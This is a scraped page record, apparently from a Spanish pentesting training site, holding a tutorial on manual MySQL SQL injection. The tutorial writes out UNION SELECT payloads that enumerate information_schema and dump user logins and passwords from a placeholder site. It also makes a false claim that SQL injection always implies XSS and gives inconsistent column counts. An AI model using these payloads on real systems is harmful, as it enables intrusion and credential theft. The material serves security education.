[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f7QxtXwYwrepsq5b2bXIR9VnpIo5TkSTfyAakufIiSek":3},{"slug":4,"title":5,"summary":6,"category":7,"author":10,"image_url":16,"image_thumb_url":16,"published_at":17,"updated_at":18,"body_html":19,"keywords":20,"reading_time_minutes":21,"related_articles":22,"related_course":59,"related_specialty":79},"inyeccion-sql-con-mysql-en-profundidad","Inyección SQL con Mysql en profundidad. ","Siguiendo con las inyecciones SQL, en esta oportunidad veremos en detalle el funcionamiento de las inyecciones SQL orientadas al motor de base de datos Mysql. Mysql es un motor de base de datos muy utilizado en el mundo y es uno de los más explotados a nivel web.",{"slug":8,"name":9},"auditoria-aplicaciones-web","Pentesting a Aplicaciones Web",{"username":11,"name":12,"avatar_url":13,"headline":14,"aboutme":15},"saamux","Samuel Esteban","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBbDRJIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--6e60a39152819c1c857e0a1e157e99a5fe76ddf9\u002Fperfil.png","Senior Pentester","Actualmente me desempeño como Pentester...","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZ1VPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--eb001fff000b4e1cbb78518f1de6aedd0561b7ad\u002Fshutterstock_1159820158.jpg","2016-07-29T22:45:38-04:00","2026-10-26T18:10:49-03:00","\u003Cp>Siguiendo con las\u003Cstrong> inyecciones SQL\u003C\u002Fstrong>, en esta oportunidad veremos en detalle el funcionamiento de las inyecciones SQL orientadas al motor de base de datos \u003Cstrong>Mysql\u003C\u002Fstrong>. Mysql es un motor de base de datos muy utilizado en el mundo y es uno de los más explotados a nivel web.\u003C\u002Fp>\r\n\u003Cp>Nos enfocaremos en realizar una inyección SQL de manera manual, para realizar este proceso tenemos el siguiente escenario de prueba:\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FwD-VgRKizjNzER82p_dIwjLMY-GBnyROMdOv1DWvuPngUkCJSAGdEWs1ZQ_xHjSpf9Ez6QCAC6DlG13eUyjec90vzIJeKXyjM2itXUjfWwU9UEABJ5f0T15QSMtZCsM1YHiCBFlyRlgANsFCfQ\" width=\"589\" height=\"204\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Escenario de Pruebas\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>Al observar la imagen anterior, nos podemos percatar que es el mismo escenario que utilizamos con \u003Cstrong>Sqlmap\u003C\u002Fstrong> anteriormente, sin embargo nos enfocaremos en realizar una inyección SQL de manera \u003Cstrong>manual\u003C\u002Fstrong>.\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>Para producir un error de inyección SQL, agregamos una comilla simple  al input del aplicativo web (\u003Cem>php?id=2\u003C\u002Fem>). Como es posible observar en la imagen anterior  nos podemos dar cuenta de que el error indica que se está utilizando un motor de base de datos Mysql, por esta razón realizaremos inyecciones en base al motor detectado.\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>En primer lugar realizaremos una consulta con la sentencia\u003Cstrong> ORDER BY\u003C\u002Fstrong>. Esta sentencia nos permite ordenar las filas del resultado de una consulta una por una, esto es muy útil en una inyección SQL, ya que de esta manera podremos detectar la cantidad de columnas disponibles y de esta manera realizar una inyección más precisa, por ejemplo tenemos lo siguiente:\u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"http:\u002F\u002Fwww.sitioweb.com\u002Findex.php?id=1\">www.sitioweb.com\u002Findex.php?id=1\u003C\u002Fa> ORDER BY 1 --\u003C\u002Fp>\r\n\u003Cp>Nos devuelve el sitio web sin ningún cambio\u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"http:\u002F\u002Fwww.sitioweb.com\u002Findex.php?id=1\">www.sitioweb.com\u002Findex.php?id=1\u003C\u002Fa> ORDER BY 2 --\u003C\u002Fp>\r\n\u003Cp>Nos devuelve el sitio web sin ningún cambio\u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"http:\u002F\u002Fwww.sitioweb.com\u002Findex.php?id=1\">www.sitioweb.com\u002Findex.php?id=1\u003C\u002Fa> ORDER BY 3 --\u003C\u002Fp>\r\n\u003Cp>Nos devuelve el sitio web sin ningún cambio\u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"http:\u002F\u002Fwww.sitioweb.com\u002Findex.php?id=1\">www.sitioweb.com\u002Findex.php?id=1\u003C\u002Fa> ORDER BY 4 --\u003C\u002Fp>\r\n\u003Cp>Nos devuelve un error de consulta SQL\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Esto nos indica que tenemos disponible solo 3 columnas, las cuales nos permitirán realizar una inyección SQL.\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002F5wDIXRgjYfbW6lJiZd40G6GR86nD6sB5gxQa2r2JwMMKlvbj3vaTZJj1ESCbpkJif58tErJoxrk4zAGuywvZeDl7AblNwJx2o0U-zQrmfT4763x7YHpCFZ5PS42_T177WHNFRJryfk-IXDDo8A\" width=\"589\" height=\"194\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>1. Inyección SQL –Order By \u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002FOjT-mBnA0hPez3IUYNJwDG2Sus0xh4Is2Yp7uze30TQ7k0v9OHZ79pZRREhy3J16X-Q0mjLhIHAvdxrBKeau3gh4eG-1IodhMYvugrmZiQulBRYrPuc7Yxzvp30yuf9VjUwURArtRFvllNcLww\" width=\"589\" height=\"205\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>2. Inyección SQL –Order By \u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>Como es posible apreciar nos podemos dar cuenta que se tienen 4 columnas disponibles, posteriormente utilizaremos la sentencia UNION SELECT.  Esta sentencia nos permitirá buscar una columna en la cual podremos realizar una inyección. La sintaxis de esta sentencia es la siguiente:\u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"http:\u002F\u002Fwww.sitioweb.com\u002Findex.php?id=1\">www.sitioweb.com\u002Findex.php?id=1\u003C\u002Fa> UNIO\u003Cspan>N SELECT 1--\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Respuesta: Error SQL\u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"http:\u002F\u002Fwww.sitioweb.com\u002Findex.php?id=1\">www.sitioweb.com\u002Findex.php?id=1\u003C\u002Fa> UNION SELECT 1,2--\u003C\u002Fp>\r\n\u003Cp>Respuesta: Error SQL\u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"http:\u002F\u002Fwww.sitioweb.com\u002Findex.php?id=1\">www.sitioweb.com\u002Findex.php?id=1\u003C\u002Fa> UNION SELECT 1,2,3--\u003C\u002Fp>\r\n\u003Cp>Respuesta: Error SQL\u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"http:\u002F\u002Fwww.sitioweb.com\u002Findex.php?id=1\">www.sitioweb.com\u002Findex.php?id=1\u003C\u002Fa> UNION SELECT 1,2,3—\u003C\u002Fp>\r\n\u003Cp>Respuesta: Error SQL\u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"http:\u002F\u002Fwww.sitioweb.com\u002Findex.php?id=1\">www.sitioweb.com\u002Findex.php?id=1\u003C\u002Fa> UNION SELECT 1,2,3,4--\u003C\u002Fp>\r\n\u003Cp>Respuesta: Error SQL\u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"http:\u002F\u002Fwww.sitioweb.com\u002Findex.php?id=1\">www.sitioweb.com\u002Findex.php?id=1\u003C\u002Fa> UNION SELECT 1,2,3,4,5--\u003C\u002Fp>\r\n\u003Cp>Respuesta: Cambio en el sitio web, mostrando por pantalla el número de la columna vulnerable.\u003C\u002Fp>\r\n\u003Ch3>\u003Cem>Veamos un ejemplo más práctico:\u003C\u002Fem>\u003C\u002Fh3>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FQfHij4dVGjfHsGnSHWUYHKvUtiYjrVHg5XAmkpeEHeQl8y1g0B5lPIw-0_ogRftrXNOLIvvBe2D7-QJqoPzoaZiIS13UvhnSCZGcu7VI3f7DIIfJI75Bipj0IuefRM4rywTlEcqsztTtJSmfWw\" width=\"589\" height=\"217\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Union Select (1)\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002F5hxyrcds1VJVYiJx1T0S6KY5i42Q9y9xScc9FETmx7PF3v0iaACa0oiy2SiqWkdiuXehVT7EYvUJWLWakq6drhKDGaUyBY4KzXnSiV51BAOsytz3rgIzyYd4TTroCTuS3nSk2Fc47X22L8fZhw\" width=\"589\" height=\"252\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Union Select  (2)\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>Al utilizar esta sentencia, nos podemos percatar que es posible realizar una unión entre 4 columnas, además cómo es posible visualizar en la imagen anterior, el sitio web nos muestra un número 2, esto indica que en el campo número 2 de la consulta es posible realizar una inyección SQL. Probaremos si es posible inyectar sentencias en el campo mencionado.\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002FUN746NiVmj-D7sR4Ltf8uoAFI-hH1fHomVznzRV1zKal_AixSbo4mkVw2grQjakhe5tUT8imaCD1MRh-cO4XGq8saX6_-s8xvuHsKAzGr8vsPQgStlRwCaxA9zojs5Xl_fOInQ8FphubG1u1wg\" width=\"589\" height=\"285\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Versión Motor base de datos\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cspan>La inyección logró ser exitosa ya que la sentencia @@version sirve para consultar la versión de Mysql, en este caso nos devolvió la versión 5.1.63.\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Algunas sentencias SQL que puede utilizar para obtener información son los siguientes:\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002FBXHrBF9leFUBoNaIE_CrgqqUpYgQF6rfWs7-UdZUG7Zi2ittuY0rRQt_SETp1_sEkPnMYB43fWuCuQS6vB6B0cON0mlJfoz-lD9EGpQ71KT1dgPGinlnnVBl5g68G-U4XOTCnZnu82HjeyyvFw\" width=\"589\" height=\"318\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Algunas Sentencias SQL\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>Como dato anexo, es importante mencionar que siempre que exista una inyección SQL, habrá también una vulnerabilidad llamada \u003Cstrong>Cross Site Scripting (XSS)\u003C\u002Fstrong>, un reflejo de esta vulnerabilidad es lo siguiente:\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002F1QVVmeNbAuX_KzKMd-ybkv5AQcmrEvBS6MEoh8g0wCJHXKKqILx5xa7DP6uj0tkEqN7au0iwVvtBy_2zXkSMAVQWzpKX8JAFmxB6auvaCWLYJZY2IGYO7Pe5Z5y1qQkSBtexNGaKcNbcXxhFKA\" width=\"589\" height=\"220\">\u003C\u002Fp>\r\n\u003Cp>  \u003Cem> Inyección SQL- Vulnerabilidad XSS presente\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>Más adelante hablaremos en detalle sobre esta vulnerabilidad.\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Cuando se realiza una inyección SQL, es importante recabar la mayor cantidad de información posible, ya que esta vulnerabilidad es de tan gran impacto, que es primordial ver hasta donde es posible llegar, por ende necesitamos buscar alguna tabla en la base de datos que esté asociada a los usuarios del sistema para lograr tener acceso al panel de administración. Para realizar este proceso utilizaremos las sentencias \u003Cstrong>TABLE_NAME\u003C\u002Fstrong> y \u003Cstrong>FROM\u003C\u002Fstrong> \u003Cstrong>INFORMATION_SCHEMA\u003C\u002Fstrong>.\u003Cstrong>TABLES\u003C\u002Fstrong>.\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>Information_schema es la base de datos que almacena información acerca de todas las otras bases de datos que mantiene el servidor Mysql. Si tenemos la siguiente estructura.\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"http:\u002F\u002Fwww.sitiosweb.com\u002Findex.php?id=1\">www.sitiosweb.com\u002Findex.php?id=1\u003C\u002Fa> UNION SELECT 1,2,3,4,5,6,table_name,8,9,10,11,12 from information_schema.tables –\u003C\u002Fp>\r\n\u003Cp>Le estamos diciendo que nos devuelva por pantalla todas las tablas de las bases de datos disponibles. Esto nos ayudará a encontrar una tabla que haga referencia a usuarios del sistema.\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002FjsK-pNWx89v6oUK_QI93hv4CLn2aC9VRaOwXw-bVvqyBHntzfg3UTvc3BxSz7fEQ29EIFinNjGVptkGRjQMPvC5LyvLAawiLBLIoCnFwmXIREJlAwBgnUje-PP04sFAKykS7WNyFDlvjedPmLQ\" width=\"589\" height=\"363\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>  Inyección SQL- Obteniendo las tablas de la BD\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>En algunos casos es posible que por pantalla solo nos devuelva una sola tabla, para poder iterar y visualizar el resto de las tablas es necesario utilizar la sentencia LIMIT. Esta sentencia se usa para restringir los registros que se retornan en una consulta \"select\".\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Recibe 1 ó 2 argumentos numéricos enteros positivos, el primero indica el número desde donde se quiere iniciar la consulta, el segundo, el número máximo de registros a retornar. El número de registro inicial es 0 (no 1).\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Si el segundo argumento supera la cantidad de registros de la tabla, se limita hasta el último registro. Por ejemplo:\u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"http:\u002F\u002Fwww.sitiosweb.com\u002Findex.php?id=1\">www.sitiosweb.com\u002Findex.php?id=1\u003C\u002Fa> UNION SELECT 1,2,3,4,5,6,table_name,8,9,10,11,12 from information_schema.tables LIMIT 0,4 --\u003C\u002Fp>\r\n\u003Cp>Esto muestra las 3 primeras tablas 0,1,2 o en algunos casos solo la última tabla (2). Esto solo aplica cuando el primer argumento es 0.\u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"http:\u002F\u002Fwww.sitiosweb.com\u002Findex.php?id=1\">www.sitiosweb.com\u002Findex.php?id=1\u003C\u002Fa> UNION SELECT 1,2,3,4,5,6,table_name,8,9,10,11,12 from information_schema.tables LIMIT 5,8 --\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>Esto muestra la cantidad de 8 tablas desde la posición número 5.\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Si se coloca un solo argumento, indica el máximo número de registros a retornar, comenzando desde 0. Ejemplo:\u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"http:\u002F\u002Fwww.sitiosweb.com\u002Findex.php?id=1\">www.sitiosweb.com\u002Findex.php?id=1\u003C\u002Fa> UNION SELECT 1,2,3,4,5,6,table_name,8,9,10,11,12 from information_schema.tables LIMIT 8 --\u003C\u002Fp>\r\n\u003Cp>Muestra los primeros 7 registros (0,1,2,3,4,5,6,7). Para comprender más esto veámoslo en un ejemplo:\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002FgecGmr1XkswR4W9RJLweZwqo5w1IethSzoW7d_sOjaDrBwPSfzi-BrBK51GKeC6G7jD0Pe6WakzqiXNCN7fsaNuMyNlx1wcRJpmnwcwWL9otQTmili0zwhjKIQnQs8hyNeW1CqZ8Qd2plVd_Cg\" width=\"589\" height=\"237\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem> Inyección SQL- Sentencia LIMIT\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>Lo que se realizó fue una consulta SQL la cual indica que a través de la sentencia LIMIT se debe retornar la cantidad de 2  tablas empezando desde la posición 30 (contándola), por lo tanto esto nos retorna la tabla 30 y 31.\u003C\u002Fp>\r\n\u003Cp>Como logramos observar ya pudimos obtener la tabla de usuarios (users). Ahora procederemos a extraer los campos de la tabla. Para esto en primer lugar lo que debemos realizar es transformar el nombre de la tabla encontrada (users) a ASCII. Esto es necesario para poder extraer el nombre de cada uno de los campos de la tabla en cuestión. A continuación les dejaré un link donde pueden realizar este proceso:\u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwww.easycalculation.com\u002Fascii-hex.php\">https:\u002F\u002Fwww.easycalculation.com\u002Fascii-hex.php\u003C\u002Fa>\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwww.easycalculation.com\u002Fascii-hex.php\">\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002FsaI2dQK2lfrNUbtJ9C4sgcAwncaw9McQpchQ24_FA4Lr4g0eD2JvQhv0QODYMzHiE4gaapIVTmbzY6YnzQaOE_6Z6YrWprtKjy9VrxO6EV-Hm0BRPVcjyMKF3FtAeEi6cA4J9pKWr4Tc1B6RYA\" width=\"589\" height=\"322\">\u003C\u002Fa>\u003C\u002Fp>\r\n\u003Cp>\u003Cem> Inyección SQL- Tabla Users a ASCII\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>La tabla users con su valor ASCII (117 115 101 114 115) nos permitirá realizar la extracción de información que necesitamos. Utilizaremos la sentencia GROUP_CONCAT, la cual nos permitirá realizar una concatenación entre todos los campos extraídos y posteriormente mostrarlos por pantalla. Cabe mencionar que a la tabla en ASCII se le debe agregar comas para utilizarla en la consulta, quedando de la siguiente manera, 117 115,101,114,115.\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002FltLyh31IaOjSXe3mB9ed2WnEL8hSzlSMgmnBwh83oSwfv-y8Tw4aYAW-EGzJVzQeDNnH1IMMwsAxdYirN_6dowo0wldW4rbTzp4olYkJDtjkeIuttJewkpSruQCf_l6AJT-q0FMaY0QWLHo6QQ\" width=\"589\" height=\"204\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>  Inyección SQL- Extrayendo campos de tabla Users\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>Esta inyección hace lo siguiente, en primer lugar seteamos el campo inyectable (número 2) con la sentencia group_concat(column_name), esto nos sirve para retornar todos los campos de una tabla en específico. Luego cambiamos el from information_schema.tables por informatiom_schema.columns para especificar que necesitamos que nos retorne las columnas, finalmente con la cláusula where table_name=char(nombre_tabla_ascii), le decimos que nos retorne todas las columnas de la tabla users. Finalmente como se puede observar, nos devuelve los campos id, login y password.\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>Finalmente procedemos a realizar la extracción de información de dichos campos de la siguiente manera:\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"http:\u002F\u002Fwww.sitiosweb.com\u002Findex.php?id=1\">www.sitiosweb.com\u002Findex.php?id=1\u003C\u002Fa> \u003Cspan>UNION SELECT 1,group_concat(id,0x3a, login, 0x3a, password),3,4 from users –\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>0x3a es una representación hexadecimal de los “dos puntos” ( :  ). Esto lo utilizamos para concatenar cada resultado y no confundirnos:\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002FNcrV2WZpNvKp1nvMTkUX_PuYmS5CPBOF0KcJ4AwPKh7_aWUHgL7xEJgP_QBWzgCjdQGB3dZBXCEb4Ixs5la2qktEm2VKLpGjWIfVXm1wXAzZp81nL-SLvp4eysoIJj0P954yT1hq3MUkVnoMdA\" width=\"589\" height=\"265\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL- Id, usuario y contraseña extraídos\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>Finalmente logramos extraer las credenciales del sistema, y de esta manera realizar una completa inyección SQL de manera manual.\u003C\u002Fspan>\u003C\u002Fp>","inyeccion sql con mysql en profundidad",7,[23,35,47],{"slug":24,"title":25,"summary":26,"category":27,"author":28,"image_url":32,"image_thumb_url":32,"published_at":33,"updated_at":34},"sqlmap-ejemplo-con-metasploitable2","Sqlmap - ejemplo con metasploitable2","Hola, soy Martin Frias y en esta vez hablaré un poco sobre Sqlmap, Sqlmap es una herramienta que permite automatizar las inyecciones sql. La inyección sql es una vulnerabilidad que nos permite la inyección de código sql para que pueda ser ejecutado e interpretado y así obtener información de la base de datos, información a la que normalmente no deberíamos tener acceso, yo recomiendo fuertemente aprender lenguaje sql, para poder saber hacer inyecciones slq de forma manual, de manera que  si vas a usar herramientas automatizadas como sqlmap, por ejemplo, que sea por ahorrar algo de tiempo, porque siempre es mejor saber qué está haciendo un herramienta por detrás, no solo escribir un comando y no saber exactamente qué acabamos de hacer.",{"slug":8,"name":9},{"username":29,"name":30,"avatar_url":31},"coldd","Martin Frias",null,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdjRPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--514529c30f11596b49003fc5bd68b363e922629b\u002Fshutterstock_1085444453.jpg","2020-09-23T14:04:11-03:00","2026-10-26T11:01:19-03:00",{"slug":36,"title":37,"summary":38,"category":39,"author":40,"image_url":44,"image_thumb_url":44,"published_at":45,"updated_at":46},"portainer-gestor-web-para-docker","Portainer es una herramienta web open-source: Gestor Web para Docker","En los últimos años, las tecnologias de irutalizacioon de servicios y plataformas ha tomado poder en el mundo de las implementaciones. Uno de ellos es Docker, el cuál nos permite automatizar el despliegue de aplicaciones dentro de contenedores de software. A grandes ragos, Docker permite meter en un contenedor (un entorno cerrado) aquellas cosas que mi aplicación necesita para ser ejecutada (java, Maven, tomcat…) y la propia aplicación. Ese contenedor puede llevarse a cualquier máquina que tenga instalado Docker y ejecutar la aplicación independientemente de qué sistema operativo es, de si son compatibles o no.",{"slug":8,"name":9},{"username":41,"name":42,"avatar_url":43},"damch","Javier Candia","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBam9KIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--036416498d87c59fa3f0ac1f5e0a08336b65faf5\u002Fdescarga.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdnNPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--f33dca4def55d322137830da440c14fbc9abbd47\u002Fshutterstock_721673605.jpg","2020-08-31T12:17:41-04:00","2026-10-26T12:22:47-03:00",{"slug":48,"title":49,"summary":50,"category":51,"author":52,"image_url":56,"image_thumb_url":56,"published_at":57,"updated_at":58},"evillimiter","Evil Limiter","Si se encuentra con un compañero de cuarto que acapara el ancho de banda de datos limitado con videojuegos o descubre que un vecino se ha invitado a su red Wi-Fi, puede recuperar fácilmente el control de su acceso a Internet. Evil Limiter hace esto al permitirle controlar la velocidad de bits de cualquier dispositivo en la misma red que usted, lo que le permite reducir o incluso detener la velocidad de transferencia de datos por completo.",{"slug":8,"name":9},{"username":53,"name":54,"avatar_url":55},"Erik172","Erik Garcia","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBc1lSIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--e703ff6245d2a783835ef18906375a5246ad1b84\u002Fgorickyourself.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdXdPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--79934810f6a5f794a404634540a7b200a27853e6\u002Fshutterstock_179770802.jpg","2020-05-12T14:50:51-04:00","2026-10-26T14:37:08-03:00",{"slug":60,"title":61,"summary":62,"level":63,"specialty":64,"category":67,"instructor":68,"image_url":72,"image_thumb_url":72,"duration_seconds":73,"lessons_count":74,"students_count":75,"is_free":76,"coming_soon":77,"updated_at":78},"retos-hacking-web","Retos Hacking Web","Aprende técnicas de Web Hacking con laboratorios reales las 24 horas.","Basicos",{"slug":65,"name":66},"web-application-testing-wat","Web Application Testing",{"slug":8,"name":9},{"username":69,"name":70,"avatar_url":71},"Rodolfo","Rodolfo Cecena","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBanNGIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--2097f10306a2b3955ed91f935c2c204cee999900\u002Frodolfo.jpg","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZzhOIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--2cf209dab21946647599db6af552f4c7be69a077\u002FRETOS-HACKING-01.png",9027,20,38321,true,false,"2025-02-15T00:31:58-03:00",{"slug":65,"name":66,"summary":80,"level":81,"courses_count":82,"total_duration_seconds":83,"is_free":77,"image_url":84,"icon_url":85,"wallpaper_url":86,"updated_at":87},"Las aplicaciones web son las solicitadas por el mercado, una mala configuración o práctica puede comprometer una página web y dejarla expuesta a ataques como una inyección sql, la mayoría de páginas web están creadas…","Avanzado",12,148188,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaVVQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--3da0fc1100f4cbea608297447bf7820177f5603b\u002FWeb-Aplication-Testing-02.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaXNQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--72bafcc13a30961fa0d390b3685b3450726cdf5a\u002FWeb-Aplication-Testing.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBakVQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--e43f452a65e4221aa712798b9da4c14461c4bf8d\u002FWeb-Aplication-Testing-02.png","2021-05-17T15:38:02-04:00"]